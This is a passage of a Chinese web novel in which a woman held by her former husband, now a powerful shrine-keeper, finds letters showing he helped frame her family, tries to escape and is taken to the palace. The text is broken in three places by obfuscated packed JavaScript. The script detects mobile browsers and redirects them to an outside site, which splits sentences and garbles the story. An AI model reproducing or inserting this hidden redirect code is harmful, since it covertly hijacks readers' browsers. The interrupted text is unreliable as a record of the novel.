慕青伸出手,想要把柳忆安揽到怀里,却见她一脸慌张地躲开。 他一顿,只好将手慢慢收回,“你怎么了?” “慕…青?”柳忆安喃喃重复着这个名字,双眼失神,不知在看何处。 “我在,我在,”慕青蹲到柳忆安身侧,用如水的目光看着她,“别怕。” 柳忆安愣愣地看着他,过了良久,缓缓垂下眼睫。待她再次抬起头时,方才的慌乱已经全然不见,似乎只剩连日赶路的倦惫。 “我没事…”她脸上浮现出一丝勉强的笑意,眼眸里却尽是冷漠,“刚刚做了个噩梦罢了。” “梦都是反的,别怕。”见柳忆安没事,慕青放下心,“路上还需半天,你想再睡一会儿吗?” 柳忆安摇摇头,“不睡了,路上有些无聊,我们还是聊聊天吧。” “好啊,”慕青听到柳忆安的声音有些沙哑,便起身为她倒了一杯茶水,“先润润嗓子。” 柳忆安从慕青手中接过茶杯时,两人的肌肤在无意中碰撞,那一瞬间,慕青敏锐地觉察到柳忆安的指尖在颤抖。 是还没从噩梦中缓过来吗? 柳忆安双手紧紧握住了茶杯,汲取着从中传出的热气,想要让自己完全平静下来。 前半生的记忆在短时间内袭入她的脑中,所有的情绪翻涌而起,让她方才险些失控。 从这些天和慕青的相处中她能感受到,慕青,也就是曾经的秋川白,已经不再是过去那个单纯的翩翩公子。成婚时的他,最大的烦恼也无非是不能嫁给自己喜欢的人。 而如今,他改名换姓,面目全非,已经变成了一个权势滔天的存在。 她想起自己受封安抚使后,曾在问天阁上向他求一个谶言,那时就觉得这个神侍令她感到熟悉,没想到那人竟真的是秋川白。 可是他怎么会去选神侍呢?神侍要将自己的全部献给所谓的上天,其中包括男子的贞洁。成为神侍,就意味着他此生不能嫁人。可他当初最大的愿望不就是嫁给一个心上人吗? 不过自己也没好到哪里去,当初只想做个百姓官,不求权倾朝野,只愿守护一方百姓安愉。结果到最后,连自己的家都没能守住,母父甚至受自己的牵连而命丧黄泉。 想到这里,柳忆安不禁发出唏嘘的笑声。 这些年过去,竟无一人如愿以偿。 她呷了口茶,壶里的茶叶泡得有些久了,喝下去的味道正如她现在的心情一般,苦得发涩。 “你说我们当初和离,是因为我遭人陷害,要护你周全。你能给我讲讲当初究竟发生了什么吗?”为了不让慕青发现自己已经恢复了记忆,柳忆安侧面打探道。 慕青迟疑了片刻,回道:“都是过去的事情了,说了徒增伤心,还是算了吧。” “没关系,我都不记得了,就当听别人的故事了。” 可慕青还是摇了摇头,“是我会伤心。” 柳忆安失望地转过头去,慕青不愿意提过去的事情,看起来从他身上打听不到什么有用的消息了。 “你要是想听故事,我给你讲别的故事听吧。”慕青不忍看柳忆安皱起眉,他不等柳忆安答应,便自顾自地讲起来。 “从前有家出身富户的男子,母父期待他长大后能攀附高门,于是从小便被父亲教着如何成为一个得体的夫郎。少年一开始什么都不懂,可随着长大,他和身边的朋友一起看了许多话本子,他才知道原来女男之情并非来自母父指婚。原来一对妻夫,并不等同于一对爱人。” “到这时,他才明白,为何母亲和父亲虽以礼相待,却总是那么疏离。” 柳忆安猜到他在讲自己的故事,便只安静地听着,没有打断。 “他亲眼目睹了母亲在面对真正的爱人时是如何温柔,也见证了父亲一次次被妻主抛弃后流不尽的泪水。于是男子暗下决心,此生不求嫁到权贵人家,只求妻主是爱人。” “于是他开始等,等待和命定的爱人有一个浪漫的邂逅。可还未等到上天的垂怜,家里便已经安排好了亲事,让他嫁给当地有名的举子。” “那名举子啊,传说是个书呆子,从小就闷在书房里,很少和同龄人玩。甚至还有人说,这个举子为人冷漠,不喜近人,心里只有山川社稷,没有半分女儿情长。” 原来自己在别人口中竟然是这般形象吗?柳忆安略感尴尬,这是她第一次听到外人口中的自己。 “男子害怕极了,这种人并非他一直盼望的妻主,于是他求母亲收回成命,可是母亲铁了心要和那名举子结亲。男子没办法,开始尝试着从家里逃走,可每一次的逃跑都以失败告终。一次次的抗争中,逃婚逐渐变成了男子的执念,似乎只要毁了这门亲事,自己就战胜了母亲。” “大婚那日,是他最后一次抗争,他被母亲捆得一动也不能动,就那么被人悄悄扔到了婚房里,从白天等到黑夜,终于等来了人。” “那人正是他的妻主,可令他意外的是,这名女子并非其她人所谓的书呆子。相反,她待人和善极了,一双眼睛明亮清澈,能直直地看到人心里去。她见到被捆成一团的男子,非但没有任何怪罪,还给他准备了当地最出名的点心。” “只一眼,这名男子就爱上了他的妻主,他对这桩婚事所有的不满都烟消云散,甚至心中庆幸,还好她有个‘书呆子’的名声,不然早就被别的男子抢走了。” 怎么这里开始和事实不一样了?柳忆安压住心中的疑惑,继续用好奇的眼神瞧着慕青,“然后呢?” “然后,这名男子高高兴兴地和妻主过了新婚夜。因妻主久住书院,为了和她更近一些,男子用自己的嫁妆在书院附近买了个小宅院,每日都给他的妻主送些亲手做的吃食。他的妻主特别特别厉害,一举高中,两个人一起搬到了京城。后来她们有了很多个孩子,孩子们也一个个长大,各自都成了家,等妻主致仕后,两个人一起去了好多地方,看了好多风景。最后她们回到了书院的那个小宅子,每天都躺在院子里手牵手晒着太阳。” 等慕青讲完,柳忆安问:“这是你哪里听来的故事?” 慕青静静地注视着柳忆安,过了半晌才道:“是话本子里的。” 柳忆安笑道:“话本子里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241116|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有这么顺利的故事,这么写的话,话本子就卖不出去了。话本子里的故事没有一波三折怎么行?” 谁知,慕青听到这句话后明显开心了起来,“是啊,都是一波三折后才能迎来完美的结局。” 就像我们一样。这句话慕青没有说出来,只是默默腹语。 马车里陷入了沉默,柳忆安回味着慕青讲的故事,前半部分很明显是两人的过去,然后编撰了一个幸福的结局。 好幸福啊,如果不是自己亲身经历了过去,她都要被这个故事打动了。 “真是一个美好的故事,”柳忆安低垂着眸,藏住了眼中的嘲弄,“只可惜这种幸福,和你我无关了。” “我们也会幸福的,相信我。”慕青淡金色的眼眸闪着对未来的期待,他小心翼翼地拉住柳忆安的袖子,像是发誓般虔诚,“我们以后也会像这个故事里一样的。” 柳忆安装作打理裙子上的褶皱,不动声色地抽回了袖子,没有接话。 可慕青却敏锐地感受到了她的抗拒,他勉强扬起一个笑容,缓缓收回了自己的手。 这时,马车外有人来报:“大人,我们已经进京了,是先去宫里还是先回府邸。” “先回府邸。”慕青语气冰冷地回应,接着他又转过来,轻声嘱咐柳忆安,“这一路辛苦了,等回府后,先让姜大夫为你把个脉,服药后好好休息,不要乱跑。” “嗯。”柳忆安随意应了下来,心里却在盘算着逃跑的计划。 现在已经在京城了,她可以找机会溜走,去找陆映昭求助。 听下人的意思,慕青应该还需进宫一趟,这是她逃跑的好机会。 马车在神侍府门前缓缓停下,慕青先一步下车,回身将柳忆安扶下了马车。 柳忆安故意放慢了脚步,想看看附近的街道是什么样子,可铁骑将马车周围牢牢围住,什么都看不见。 慕青带着柳忆安穿过一个又一个洞门,不知来回绕了多久,柳忆安终于忍不住低声开口。 “你到底要带我去哪?” “快到了。” 绕过一道掩在假山后的暗门,她们终于来到一个偏僻小院门口。 “到了。” 柳忆安看着眼前陌生而狭小的院子,有些不满地问道:“怎么?要将我关在这个小院中吗?你这么大个宅邸,只允许我在这么小的地方待着?” 慕青心里也觉得委屈了柳忆安,可此次回京得太突然,他还没来得及准备好一个适合柳忆安的住处,只能将她暂时放到宅邸中最隐蔽的角落。 “你身份特殊,京中不似别处安全,有很多别人的眼线。将你送来这里,是为了保护你的安全。”他顿了顿,“等这几日忙完,我们就去别的地方。” “那好吧,你去忙吧。”柳忆安想赶紧将他打发走,“我想赶紧休息了。” 宫中催得急,慕青便没多停留,吩咐了下人要看好柳忆安后匆匆进了宫。 柳忆安躺在床上闭着眼装睡,等外面的动静全部安静下来,悄悄地打开了房门,开始打量这个小院子的布置。 她一定要趁慕青忙的这几天,找到逃走的路线。 59. 密室 柳忆安蹑手蹑脚地走出房间,眼前的院子虽狭小,但种满了各种鲜花,簇拥出一片万紫千红。 当然,也可能是因为种满了鲜花才显得院子如此狭小。 靠墙处,有一个小巧的假山,有潺潺的流水从中涌出,为院子平添了几分静谧。 柳忆安环顾四周,觉察到这个院子比想象中还要封闭。院墙远远高于普通院子,几乎要与府邸的外墙同高。除了院门,几乎没有其他出入口。 而此时,院门紧闭,柳忆安尝试着推了几下,发现院门已经被人从外面锁住。 高出一截的围墙,十分坚固的大门,柳忆安觉得这个院子实在不像府邸里普通院子的模样,想来一定内有乾坤。 她回头望向假山,视线落在那潺潺的水眼上。流水声持续不断,却总透着几分空洞,不似寻常流水那样清透,反倒像是在冲击着一个中空的水槽。 柳忆安慢慢靠近泉眼,看见从假山上落下的水柱先是落到一块倾斜的石板上,随后才沿着石板流到地面的小水渠。这个空洞的声音应该是水柱敲击石板发出的。 她蹲下身子,顺着石板的倾斜角度小心探查,指尖掠过石面,却在一处微微凹陷的地方顿住了。 那是一道细小的痕迹,不似自然风化,更像是刻意雕琢出来的缝隙。柳忆安迟疑片刻,缓缓将手指扣入那道凹槽,轻轻一按。 只听得“咔嗒”一声轻响,水声骤然一滞。那块倾斜的石板竟微微向内下沉,紧接着假山底部的乱石间一块不起眼的岩石缓缓滑开,露出一道幽深的暗道口。 柳忆安怔住,心跳不由自主地加快。 她抿了抿唇,回头望了一眼四周,院中依旧静谧无人。接着,她收紧衣襟,深吸一口气,猫着身子钻进了那条密道。 密道狭窄幽长,入口处落入的光仅能照亮两步的距离,接着便是越来越一片漆黑。柳忆安一手撑在粗糙的砖面上,一手在前方小心地摸索,慢悠悠地向密道深处走去。 不知走了多久,就在柳忆安决定先回房间找根蜡烛再来时,突然传来“噌、噌、噌”三声,有三盏油灯随着人的走进,自动亮了起来。 油灯照亮了密道尽头,只见墙壁两侧分别有一个长长的壁龛,里面各摆放了十二生肖的铜像。而密道尽头的大门两侧则分别有两个只能容下一个铜像的小壁龛,看来是只有将正确的铜像放入后才能打开这扇门。 这得试上多久才能试出答案…… 柳忆安先从慕青母父的生肖开始试起,结果大门纹丝未动。接着,她又尝试慕青和他兄长的生肖,同样没有反应。 然后,柳忆安抱着试探的心思,放入了龙和蛇的铜像,这分别是她和慕青的生肖。 大门还是一动不动。 接着她又把两尊铜像颠倒了一下,结果还是一样。 柳忆安懊恼地拍了拍脑袋,早就该知道这么重要的密码不该和自己有什么联系,又在瞎想些什么呢。 她实在是想不出还有什么生肖的组合对慕青来说是特别的,索性开始依次尝试。 她依次将左手边的铜像放入壁龛中,结果刚试了十次,门竟然发出了“咔嗒”一声,随后缓缓打开。 狗? 所以答案竟然是狗和龙吗? 柳忆安愣了一愣,自己和秋川白成亲的年份正是戊戌狗年,这个答案是和他们成亲那一年有关? 没时间多想,柳忆安旋即收起所有情绪,迈步跨入那间缓缓开启的密室中。 密室的门在她身后“砰”地合拢,光线骤然一滞,只剩下前方几盏长明灯静静燃烧,照出一室幽黄。 这间密室比她想象中还要大一些,约莫有二十余步见方,四壁皆以墨青色的石材铺成,让整间密室带着几分潮气。顶上悬着一幅星象图,繁复细致,星辰均为各种宝石,并以金粉勾勒了边缘,折射着四周的光线,当真如同闪耀在漆黑夜空中的群星一般。 密室正中央摆着一张宽大的红木案几,几封未封口的信件被压在一块温润的墨玉镇纸下。 柳忆安缓步走近案几,目光扫过上头的一封信,纸上虽无落款,但信纸上字迹遒劲熟悉——是她永远不会忘记的笔锋。 这是萧韵的字迹。 柳忆安将信拿出来,信纸已有些发黄,上面写着: “主上, 药材一案,小的原拟依旧策安排得妥,却未料山匪行事鲁莽,竟于截货途中被边防守将擒获,险些牵出后方供给之流向。此事乃我之疏忽,罪无可辞。 但此事尚有回转之法,小的已派人将守将除去,所留口供亦已掌控在我之手。同时,因安抚使柳忆安掌握押运路线图,可引导圣上将罪责归于她一人身上,由此便可转移众怒。 如此一来,不仅斩断后患,还能换得一纸“擒贼破案”的美名。此计虽险,但只要行动迅速,即可化危为机。 为防万一,望主上吩咐神侍出面,以‘天意’之名协助小的推进此事。有神侍出面,旁人不会有异议。 萧敬上” 柳忆安拿着信纸的指尖微微颤抖,她强忍住内心巨大的不适将信放回原处,继续查看下一封。 “慕青, 你需配合萧韵将所有罪责归于安抚使一人。 事成后自有嘉奖。” 所以,陷害柳家一事,不仅是萧韵一人的手笔,连慕青也参与其中了吗? 甚至正因为他的帮助,才让那份“伪供”看起来天衣无缝,才让圣上相信柳家心怀异志,才让她的母父在半路“畏罪自尽”。 柳忆安怔怔地站在案几前,胸腔如被重物死死压住,连呼吸都变得沉重。 “呕”。 她忍不住干呕起来。 一想到她和害了自己母父的凶手朝夕相处了这么多天,她就不由得恶心。 柳忆安用手背狠狠擦了一下嘴角,压下翻涌的呕意,踉跄着向密室门口奔去。 逃离的过程中,她不忘把所有东西归位,不能让别人发现她来过这里。 至于那两封信,柳忆安没有带走,以慕青和萧韵如今的权势地位,仅凭两封信很难扳倒她们。还不如隐瞒自己已经知道了她们的阴谋,为报仇赢得更多的时间。 离开密道,她仔细检查了一下假山下的石板与水流机关,确认没留下任何痕迹。 泉眼重新恢复潺潺水声,掩盖住了密室的秘密。 天色已暗,不知宫里到底发生何事,让慕青这么久都没回来,这对柳忆安来说,正是逃跑的大好时机。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252365|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >院子西边的高墙外有一棵大树,粗壮的树枝刚好伸进了墙里,正好能挂住绳索。 柳忆安快步走回房内,将被罩撕成几条细长的布绳,仔细扯紧,拧实成粗绳。接着,便来到那根树枝下。 她从地上捡了一节断枝,绑到绳索的一头,随后将绳子高高抛起,将绳索挂在了高悬的树枝上。 多亏失忆时做的那两年农活,如今她做起这些事已经很熟练了。 柳忆安扯了扯绳子,确定牢固后便借力攀墙,活像一只灵巧的猫。 她迅速爬到墙头,借着夜色将身形尽量压低,藏在这棵大树的树冠中。 出乎意料的是,高墙的另一头竟不在府邸之中,而是一条寂静的街巷。 此时柳忆安所爬的这棵树,是一棵上百年的老槐树,枝叶繁茂,虬干横生,盘踞在长街的尽头。 柳忆安趴在树杈间,透过枝叶缝隙看了眼下方,确认巷中无人,这才利用绳索缓缓滑下树干。 她抬头看了看四周,这条巷子原本就在僻静的角落,再加上天色已晚,街上已经没什么人影,但巡逻士兵的脚步声从转角处传来。 柳忆安贴着墙根,猫着腰躲在树后,她目光飞快扫视周围,终于看到不远处街边有一辆停靠的木板车,车上堆着一大垛柴草。来不及多想,她快步冲了过去,躲到了柴草之中。 片刻后,巡逻的士兵沿着街道走过,柳忆安一动也不敢动,心跳快得几乎要跳出胸腔。 所幸,士兵并没有注意到这辆木板车上藏了个人,柳忆安松了口气,开始思考下一步行动。 就在这时,一位老者牵着头毛驴走来,将木板车套在毛驴身上后,拍了拍驴背,吆喝了一声。 “走咯,出城送柴咯——” 随后,毛驴晃晃悠悠地迈开步子,拖着木板车缓缓前行。 与此同时,慕青匆匆回到了府中。 他一进门,便直奔关着柳忆安的小院而去。 院子的大门仍然紧闭着,和他出门时一样。打开门,院子和房里都是漆黑一片,他猜测柳忆安此时还在睡觉,便轻手轻脚地打开门。 今日进宫是因为皇帝要同他商讨祈福之事,原以为很快就能回来,结果来了一帮人问东问西,缠得他难以脱身。 他早就迫不及待想回来了,如今他恨不得时时陪在柳忆安身侧,一刻钟也不愿分开。 打开门,慕青并没有看见自己一直挂念的人,映入眼帘的是一片狼藉。 慕青心中骤然生出一种不祥的预感,他怀着微弱的希望呼唤着柳忆安的名字。 “忆安?” 回应他的只有呼啸的风声。 他转身快步走出房门,环顾整个院落,连假山都绕了一圈,依旧不见柳忆安的踪影。 “来人!” “主子有何吩咐?”侍从们匆匆赶来。 “她人呢?”慕青的声音阴冷得让人打颤。 门口的侍从惊出一身冷汗,连连跪地叩首:“属下该死!属下未曾离开半步!但是院中没有什么动静,属下以为姑娘在休息……” “拖下去杖毙。”慕青不等他说完,对着其她人吩咐道,“封锁方圆五公里,不许任何人出入,挨街挨巷搜!” “是!” 60. 逃跑 “走啊,这才走了几步就停了。” 街巷尽头,送柴草的老者不耐烦地敲打着僵在原地的毛驴,可不论她如何催促,毛驴都不愿再走一步。 “你这头懒驴,才喂饱你就撂挑子,找抽是不是?” 柳忆安听到老者的咒骂声,猜测毛驴是因为觉察到了突然增加的重量才停下来。她本想偷偷地离开,却见街道的两头分别走来两队骑兵,将这辆驴车前后围住。 “喂,老人家,你有没有见到一个女人从这里路过?”带队的人大声问道。 “女人?没见过。”老者摇摇头,“我刚才带着这头懒驴去吃饭了,没见到什么人。” 领队围着木板车走了几圈,用凌厉的眼神来回扫视,踏踏的马蹄声一下下地踩到柳忆安的心上,让她呼吸都急促了起来。 “来人,搜查这堆柴草。”领队犹豫了一下,最终决定不放过任何一个角落,“老人家,没意见吧?” 没人敢惹这群拿着刀枪的士兵,老人连连点头,“没意见,没意见,请各位女君检查。” 柳忆安面前的柴草被人一下掀开,她尴尬地和面前的士兵打了个照面,“额,我要是说我是迷路了,你信吗?” 事实上,这群士兵并不在意柳忆安是出于什么原因出现在这里的,她们只庆幸在神侍大发雷霆前将人带了回去。 “大人,我们将柳女君带回来了。” 明眼人都能看出来这个女人是神侍大人的掌中瑰宝,因此她们不敢对柳忆安用强的,怕伤到她,只将人团团围住,不给她留任何逃跑的机会。 柳忆安也是个识相的人,被抓到后也没有挣扎,老老实实地跟着这群士兵回到慕青的府邸,没让大家为难。 要说这一路上有什么痛苦的,就是她十分懊恼错失了这次完美的逃跑机会,明明一只脚已经踏了出去,结果连街道都没走出去。 可惜,实在可惜。 这次逃跑被抓,下次再跑就没这么容易了。 柳忆安很快调整好了心态,逃不出去就算了,先蛰伏在慕青身边收集证据也并非不可。 只是,一想到要和杀母仇人的同伙儿朝夕相处,她就不由得开始反胃。 而这种反胃的感觉,在她再次见到慕青的那一刻,达到了高潮。 “呕。” 见柳忆安身体不适,慕青原本的怒意和不甘立刻被满心的担忧所取代。 “怎么回事,”他让周围的士兵都退了下去,亲自扶着柳忆安往卧房走去,“你怎么把自己闹成这个样子了?” 柳忆安强忍住对慕青的恨意,憋出一个勉强的微笑,“没事,应该是这几天连日赶路所致。” “那你还不好好休息,乱跑做什么?”慕青终究是不忍对柳忆安说重话,无奈地叹了口气,“罢了罢了,整日待在院子里是太闷了。从明日起,我出门的时候你就跟在我左右吧。” “真的吗?”这对柳忆安来说简直是意外之喜。 “嗯,不过你不能乱跑。”慕青边说边用复杂的眼神瞧着柳忆安,“跑是跑不掉的,我也不想让你受伤,别让我为难。” 柳忆安心虚地点点头。 正说着,两人来到一间宽敞的卧房,卧房中几乎所有的家具皆是由珍贵的金丝楠木制成,在烛火下闪着微弱的金光。 只有一件家具除外。 临窗的美人榻,由红木制成,和房间里其它家具看起来格格不入。 但柳忆安一眼认出,这张美人榻,是仿照着自己在柳府卧房中的那张制成的。 也就是秋川白嫁进柳府后一直睡的那张榻。 “这间房是为你准备的,准备好很久了,下午让人收拾了一下。”慕青带着柳忆安参观房间,“你睡床,我还是和之前一样,睡榻。” “我看你的宅子挺大的,应该不只有这一个卧房吧?” 慕青却像没听见一般,自顾自地安排:“这几天辛苦你了,你先沐浴,我出去等你。” 说完,便大步走出了房间,柳忆安听到他对门口守卫吩咐道:“把房间看好了,若再出什么岔子,脑袋都别要了。” 柳忆安快速清洁完身子,坐在床边,烦恼着该如何联系上自己的旧友。 慕青说明日起要将她带在身边,不知那时能否找到逃走的机会。 方才慕青对下人说的那番话,听他的意思,柳忆安猜测下午已经有人因为自己的出逃而葬送了性命,她不愿再拿别人的生命冒险。 柳忆安心中泛起一阵恶寒,曾经那个站在寒风中给路人施粥的男子,如今也变成草菅她人性命的存在。 除此之外,柳忆安也不明白慕青为何害她沦落至此后又将她囚在身边。若真是喜欢她,又为何替害她的仇人遮掩。如今慕青权倾朝野,而她却一无所有,将她留在身边究竟有什么好处? 思来想去,柳忆安终于想到一个合理的答案。 慕青将她留在身边,是为了报复方轻尘。 这就对了,柳忆安一拍脑门。 方轻尘这些年一直在找自己的下落,很可能已经查到这一切都是萧韵的手笔。 慕青作为萧韵的同伙儿,一定想要置方轻尘于死地。 而自己,就是引来方轻尘最好的诱饵。 思及此,柳忆安意识到,只要自己还在慕青手上,方轻尘就有被抓住的风险。 同样的,只要方轻尘没被慕青抓住,自己作为诱饵也会平安无事。所以当务之急是联系到方轻尘,让他千万不要轻举妄动。 正想着,房门外传来一阵轻微的敲门声,紧接着是慕青温柔的声音:“忆安,我可以进来了吗?” “进吧。” 门“吱呀”一声被推开,慕青走了进来。他已经换上一件月白色真丝睡袍,衣料轻薄贴身,微微泛着光泽,勾勒出他修长的身形。他的银白长发未再盘起,而是从左肩处披散下来,被一条素色的束带松松系上。 随着他走进屋里,一股清冽的雪松香气朝着柳忆安扑面而来。 “早点休息吧,明日一早我们就要进宫了。” 柳忆安有点疑惑,他不怕宫里的人认出她吗?不过鉴于她此刻正处于“失忆”的状态,只能旁敲侧击地问:“进宫?普通人可以随意进宫吗?” “明日我要进宫给临行的军队祈福,到时就说你是我的道童。”慕青伸手揉了揉柳忆安的脑袋,“不是待久了觉得无聊吗?我多带你出去走走,你就不要自己偷偷溜出门了。” 柳忆安勉强扯出一丝笑,“好啊,我早就想进宫看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15264501|158140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了。” “那就先好好休息。”慕青吹灭了蜡烛,“以后想去哪里,直接告诉我。” *** 这一夜,柳忆安睡得并不安稳,她一直梦见方轻尘被慕青抓到的场景,吓出了一身冷汗。 天还未亮,柳忆安就听见美人榻上传来窸窸窣窣的声音,应是慕青正在起床。 大概又过了一炷香的时间,慕青走到床边,轻轻唤着柳忆安的名字。 “忆安,忆安,该起床了。” 慕青已经穿戴完毕,他穿着一袭玄色长衣,头戴由黑色晶石镶嵌而成的礼冠,整个人的气质显得既神秘又高贵。 他蹲在柳忆安的枕边,用手轻轻拨弄着她的头发,“今天让我来服侍你洗漱吧。” 柳忆安在半梦半醒间被直接吓醒,“不用不用,我现在起床,自己洗漱。” 说完,便慌里慌张地从床上爬起来,顾不得自己还穿着里衣,直奔洗漱案台而去。 慕青笑着看柳忆安行云流水般洗漱完,就在她坐在镜子前准备束发时,先她一步拿起了梳子。 “今天的发式是有讲究的,让我来为你束发吧。” 随着梳子一下下从柳忆安头上梳过,她发丝的香气被慕青闻个彻底。这段时间,柳忆安所有的用品都是由慕青一手安排,如今两人身上的味道已经很相像了,这令慕青感到一种特别的畅快。 就仿佛他已凭着气味将她占有。 慕青将柳忆安的头发编成了双鬟髻,最后又为她戴上了一个鎏金镂空发钗。 “这样就好了。”他满意地欣赏着自己的作品。 “你…手艺还挺好的。”柳忆安没想到慕青会编这么复杂的发髻。 “你喜欢吗?喜欢的话,以后我每日都为你梳发。” 一个合格的夫郎,自然是要有一手为妻主梳发的好手艺。按照习俗,新婚第二日,夫郎就该亲手为妻主梳发,只是他当初并未将和柳忆安的婚事放在心上,一心只想着逃离,自然也就略过了这一步。 “不用了,我梳头发不讲究。”慕青满心的期待被柳忆安一盆冷水浇了个彻底。 他无措地笑了笑,“没事,若哪日你想换个发式唤我便是。” 在打扮的最后,慕青拿出了一个傩面具,亲手为柳忆安戴上,为了确保足够牢固,他又给面具多加了两条丝带。 在第一声鸡鸣之前,两人换好了装束,分别坐上了两辆马车。 马车里,除了柳忆安,还有三个和她一样打扮的道童,那三人似乎是得了什么命令,将柳忆安牢牢地围在中间,不给她落单的机会。 在马车即将驶入皇宫之时,一个道童突然开口:“女君,入了宫之后切勿乱走,要随时跟紧我们,你若出了事,我们没法向神侍大人交代。” “好。” “今日神侍需给朝中所有官员赐福,仪式的时间会长一些,女君多忍耐一下。” 不多时,她们就到了今日祈福的场地,已经有不少官员身着官服在这里候着。慕青带着柳忆安从小路绕到了祭坛后方休息等候,柳忆安有些无聊,便漫无目的地环顾周围。 突然,她看到了一个熟悉的身影,此人身着银甲,手持一把银光流转的梨花枪,不是陆映昭还能是谁? 61. 关进地牢 “神侍大人,时辰到了,祈福仪式该开始了。” 随后,在众人的跪拜下,慕青缓步登上了祭台,柳忆安与另外三位道童则跟在他身后。 祭台的中央,摆放着一个雕有各式鸟兽的铜制祭坛,慕青带着众人上了香后,便在祭坛前席地而坐,而柳忆安和道童则落座于祭台的四角。 待台上准备完毕,站在台下的礼官开始宣人。 “请范丞相上前敬香。” 听到范丞相的名号,柳忆安惊讶地看了过去,范丞相是裕朝的三朝元老,受到三位皇帝重用,如今官至丞相,可以说是全天下学子的榜样。 这样一个响当当的人物,如今却跪拜在神侍面前,看起来恭敬极了。 “请大人赐福。” 范丞相诚惶诚恐地低着头,而慕青嘴里一边吟唱着什么,一边将香灰点在范丞相的额头。当香灰刚点到头上,范丞相的眼神突然间变得空洞,这样的情况只维持了一瞬,随后又恢复了原样。 待这一番操作完成,范丞相又磕了三个头后才从祭台下去。 随后,朝中一众官员都按照一样的方式接受了神侍的赐福,且每个人都出现了和范丞相类似的情况。 柳忆安不禁好奇,这香灰究竟有什么问题?为何点在头上的瞬间能让人的眼神变得涣散? 祈福的流程实在过于漫长,直到太阳高悬于头顶,仪式才进行了一半。 “请韩翰林携夫郎陆氏上前敬香。” 嗯? 突然听见熟人的名字,柳忆安猛地抬起头。 是陆映川! 还记得陆映昭曾说过,要用自己的功绩为陆映川寻一个好妻主,让他留在京中,看来这个心愿如今已经实现。 柳忆安由衷地为姐弟二人感到高兴,她瞪大了眼睛,好奇地往台下观望着,想一探陆映川妻主的真容。 只见陆映川穿着一身华贵的诰命服,眉心处坠着一颗如水滴般的红宝石,由一串细细的金链固定在头上,在阳光的照射下十分夺目。身旁站着的女子打扮得却极其简朴,除了一身官服外没有别的装饰,两人看起来有些不相称。 待两人走上台,柳忆安终于看清了陆映川妻主的模样,更是惊讶地合不拢嘴。 那人竟是她在万明书院的好友,韩焉然。 韩嫣然品行端正,为人上进,富有学识,确实是好的妻主人选。 柳忆安知晓韩嫣然年少时吃过许多苦,她过去还找了不少借口接济过韩嫣然,见她如今入了翰林院,又娶到了陆家二爷,心里顿感欣慰。 三个时辰过去,队伍终于走到了末端,待慕青为最后一个人行完祈福礼,柳忆安几人终于能从地上站起来了。 朝中的官员皆已得到赐福,接下来她们还需前往军营,为整装待发的士兵进行赐福。 虽然是坐着,但一连三个时辰还是让人有些吃不消。柳忆安刚走下祭台,腿部突然传来一阵剧烈的麻木,就在她将要栽到地面之时,旁边突然出现的一双手托住了她。 “小心。” “多谢…”柳忆安一回头,发现托住她的人竟是陆映川,“…这位郎君。” 熟悉的声音让陆映川愣在原地,“柳忆安?你是柳忆安?” 还没等他有什么动作,慕青将柳忆安一把拽到身后,“多谢陆郎君出手相助。” “你等等,”陆映川挡住了将要离去的慕青,他要确认这个声音到底是不是柳忆安,“我要这位道童亲自向我道谢。” “我这道童第一次进宫,动作确实笨拙了些,是我作为神侍的失职,改日我亲自登门向韩翰林和陆郎君道谢,今日我们还有事,不便在此耽搁。”慕青知道陆府之前也找了柳忆安许久,不知陆映川此时拦下柳忆安究竟是巧合还是故意,但不管怎样,他不会让此人和柳忆安有任何接触。 陆映川不想让慕青带人离开,可周围越来越多的人看了过来,为了不生事端只好作罢。 等神侍一行人乘马车离开,陆映川急忙找到了陆映昭,“姐,糟了,方才神侍身边的道童好像就是柳忆安。” “什么?”陆映昭和韩焉然同时慌了神,“完了。” 此前,方轻尘和陆映昭商议出了营救柳忆安的方案,方轻尘带人在睦州引起骚动,陆映昭负责带兵前去镇压,同时她向皇帝上书,求神侍为士兵祈福,以此为由将慕青召回了京中。 而今日,她们要借慕青进宫祈福的时间,由方轻尘亲自将被关在神侍府里的柳忆安救出来。 如果柳忆安跟着慕青一起进了宫,营救计划将彻底落空。 现在,就怕方轻尘不找到柳忆安誓不罢休,可他已经潜入到神侍府中,没办法再给他传信。 几人心道不好,没想到今日不仅救不出柳忆安,可能还会将方轻尘搭了进去。 *** 另一边,慕青坐在马车里,听府里下人来报。 “大人,闯入府里的小贼已经被捆起来了,请问该如何发落?” 慕青轻轻抿了口茶,“押到地牢里吧,等我回去亲自审问。” 接着,慕青掀开马车的窗帘,回头看了一眼后方的马车。 